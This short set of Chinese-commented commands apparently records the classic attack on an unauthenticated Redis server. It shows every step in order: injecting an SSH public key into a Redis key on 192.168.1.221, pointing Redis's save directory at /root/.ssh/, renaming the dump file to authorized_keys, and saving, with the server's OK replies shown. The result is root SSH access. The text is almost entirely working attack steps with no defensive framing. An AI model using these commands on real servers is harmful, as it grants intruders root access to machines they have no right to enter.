# 注入公钥 cat aa.txt | redis-cli -h 192.168.1.221 -x set aa
# 登录redis redis-cli -h 192.168.1.221 # 切换路径 192.168.1.221:6379> config set dir /root/.ssh/ OK # 修改save名称 192.168.1.221:6379> config set dbfilename "authorized_keys" OK # 保存数据到硬盘 192.168.1.221:6379> save OK